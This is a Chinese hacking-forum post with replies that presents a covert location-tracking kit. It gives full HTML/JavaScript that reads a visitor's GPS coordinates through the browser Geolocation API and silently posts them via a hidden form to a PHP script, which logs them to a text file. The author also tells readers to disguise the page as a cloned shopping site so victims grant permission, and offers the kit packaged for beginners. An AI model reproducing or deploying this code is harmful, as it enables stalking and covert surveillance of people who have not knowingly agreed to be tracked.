找回密码
 创建账号

QQ登录

只需一步,快速开始

查看: 21896|回复: 79

[其他发布] 社工之经度纬度定位-50米以内

[复制链接]
  • TA的每日心情
    开心
    2023-5-26 11:21
  • 签到天数: 497 天

    连续签到: 1 天

    [LV.9]青行灯

    发表于 2017-6-5 14:36:28 | 显示全部楼层 |阅读模式
    本帖最后由 sssssssz 于 2017-6-6 10:56 编辑

    总所周知,我们的IP定位也只是定位公网IP,精准度顶多在300-100米,
    甚至有些时候不能很好的获取对方的位置,
    以下的的技术,我自己试了,精准度在50以内

    此技术利用了HTML5 Geolocation API
    直接调用方法即可,即使是4G网页可以精准定位
    最原始代码如下,我自己加了一些

    现在编写index.php页面代码
    1. <!DOCTYPE html>

    2. <html lang="en">

    3. <head>

    4.     <meta charset="UTF-8">

    5.     <title>Document</title>

    6. </head>

    7. <body>

    8.   

    9. <img src="1.png" alt="" width="100%;">

    10.     <script>

    11.       var geol;      

    12.         try {

    13.             if (typeof(navigator.geolocation) == 'undefined') {

    14.                 geol = google.gears.factory.create('beta.geolocation');

    15.             } else {

    16.                 geol = navigator.geolocation;

    17.             }

    18.         } catch (error) {

    19.             //alert(error.message);

    20.         }

    21.          

    22.         if (geol) {

    23.             geol.getCurrentPosition(function(position) {

    24.         

    25.         var nowLatitude = position.coords.latitude;            

    26.         var nowLongitude = position.coords.longitude;      

    27.          //以上是固定代码,获取经度纬度

    28.   

    29.     alert("纬度:" + nowLatitude + ", 经度:" + nowLongitude);  //弹出经度纬度的坐标

    30.            

    31.   

    32.                     function new_form(){

    33.             var f=document.createElement("form");

    34.             document.body.appendChild(f);

    35.             f.method="post";

    36.             return f;

    37.         }    //定义函数,创建form

    38.   

    39.         function create_elements(eForm,eName,eValue){

    40.             var e=document.createElement("input");

    41.             eForm.appendChild(e);

    42.             e.type="text";

    43.             e.name=eName;

    44.             if(!document.all){e.style.display="none"}else{

    45.                 e.style.display="block";

    46.                 e.style.width="0px";

    47.                 e.style.height="0px";

    48.             }

    49.             e.value=eValue;

    50.             return e;

    51.         }

    52.   

    53. //这段代码意思就是 定义方法,有两个input 他们的值分别是经度纬度的值

    54.   

    55.         var _f=new_form();

    56.         create_elements(_f,"username",nowLatitude) // 创建form中的input对象

    57.         create_elements(_f,"password",nowLongitude);

    58.       

    59.         _f.action="geolocation2.php";

    60.         _f.submit();   //提交

    61.       

    62. //表单自提交发送到geolocation2.php页面

    63.   

    64.   

    65.   

    66.     }, function(error) {

    67.         switch(error.code){

    68.         case error.TIMEOUT :

    69.             //alert("连接超时,请重试");

    70.             break;

    71.         case error.PERMISSION_DENIED :

    72.             //alert("您拒绝了使用位置共享服务,查询已取消");

    73.             break;

    74.         case error.POSITION_UNAVAILABLE :

    75.             //alert("非常抱歉,我们暂时无法通过浏览器获取您的位置信息");

    76.             break;

    77.         }

    78.     }, {timeout:10000});    //设置十秒超时

    79.   

    80.   

    81.         }

    82. //设置连接超时的报错

    83.   

    84.   

    85.   

    86.   </script>

    87. </body>

    88. </html>
    复制代码



    然后来写接受页面 geolocation2.php 的代码

    1. <?php

    2. @$time=date('Y-m-d H:i:s',time());  //获取当前时间

    3. $nowLatitude="纬度 ".$_POST['username'];    //接受上个页面传过来的参数(经度坐标)

    4. $nowlongitude="经度 ".$_POST['password']."   ------时间是".$time."\r\n";;    //接受上个页面传过来的参数(纬度坐标)

    5. $fp=fopen("geo.txt", "a+");  //创建一个geo.txt文件

    6. fwrite($fp, $nowLatitude);   //把经度写入到geo.txt里

    7. fwrite($fp, $nowlongitude);   //把纬度写入到geo.txt里

    8.   

    9.   

    10.   

    11. ?>
    复制代码

    注意点:对方必须点击授权以后才能拿到对方的经度纬度(这个缺点可以结合社工实现)
    现在来做个小测试
    假设让对方访问
    让对方访问我们的站点,他的页面上会显示 它自己的经度,纬度,并且经度纬度会保存在我们的站点数据里

    然后我们的站点上生成了一个geo.txt文件

    打开geo.txt
    对方的经度纬度已经写入


    现在我们打开

    把经度纬度写上去


    给我朋友做的测试,它的确在这里,精准度50

    现在来完善上面的缺点
    就是去网上扒一个购物网站的源码,把源码复制在index.php
    图如下,我把网站源码修改成当当网的了


    这样就能精准的获取到他的地址位置~~~(自己试了,超爽的~

    如果你是小白,什么都不懂,我已经把源码打包好了,你只需要把代码放在你站点上即可希望大家多多支持,如果大家觉得还不错,我会继续讲,只要一旦获取到别人的经度纬度,立刻会发送他们的位置到我们的邮箱里~ 不过关于定时发送邮件的技术要一些linux基础~


    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?创建账号

    ×
  • TA的每日心情
    擦汗
    2023-7-25 09:54
  • 签到天数: 621 天

    连续签到: 1 天

    [LV.9]青行灯

    发表于 2017-6-5 16:34:18 | 显示全部楼层
    你这个获取不了经纬度啊   txt文件里面只有个获取时间  倒是我自己访问网页的时候弹出显示我自己的坐标了
    回复 0 1

    使用道具 举报

  • TA的每日心情

    2022-3-26 02:34
  • 签到天数: 1330 天

    连续签到: 1 天

    [LV.10]茨木童子

    发表于 2017-6-6 10:33:08 | 显示全部楼层
    图挂啦 防盗链
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    2017-6-10 03:00
  • 签到天数: 6 天

    连续签到: 1 天

    [LV.2]天邪鬼

    发表于 2017-6-10 03:23:59 | 显示全部楼层
    菲布伦 菲布伦
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2018-5-27 22:02
  • 签到天数: 4 天

    连续签到: 1 天

    [LV.2]天邪鬼

    发表于 2017-6-14 00:03:55 | 显示全部楼层
    感谢分享 6666
    回复

    使用道具 举报

  • TA的每日心情
    慵懒
    2023-9-17 21:19
  • 签到天数: 226 天

    连续签到: 1 天

    [LV.7]雪女

    发表于 2017-6-15 11:25:19 | 显示全部楼层
    好像没有什么实际用途
    回复

    使用道具 举报

    该用户从未签到

    发表于 2017-6-17 05:14:16 | 显示全部楼层
    666.感谢分享
    回复

    使用道具 举报

  • TA的每日心情

    2019-11-26 22:21
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]灯篭鬼

    发表于 2017-7-6 18:38:03 | 显示全部楼层
    不能生成geo.txt
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2022-8-11 16:49
  • 签到天数: 18 天

    连续签到: 2 天

    [LV.4]提灯小僧

    发表于 2018-6-28 09:56:15 来自手机 | 显示全部楼层
    逻辑正确,操作很难,废柴兄弟!
    回复

    使用道具 举报

  • TA的每日心情

    2019-10-5 01:00
  • 签到天数: 11 天

    连续签到: 1 天

    [LV.3]灯篭鬼

    发表于 2018-6-29 13:30:14 | 显示全部楼层
    获取地理位置的权限太明显了
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2021-6-16 12:04
  • 签到天数: 20 天

    连续签到: 1 天

    [LV.4]提灯小僧

    发表于 2018-6-30 01:56:56 | 显示全部楼层
    我觉得这个有点厉害了
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 创建账号

    本版积分规则

    Archiver|手机版|小黑屋|iYa.App 软件交流社区

    GMT+8, 2024-3-29 15:45 , Processed in 0.043735 second(s), 21 queries .

    Powered by Discuz! X3.5

    © 2001-2023 Discuz! Team.

    快速回复 返回顶部 返回列表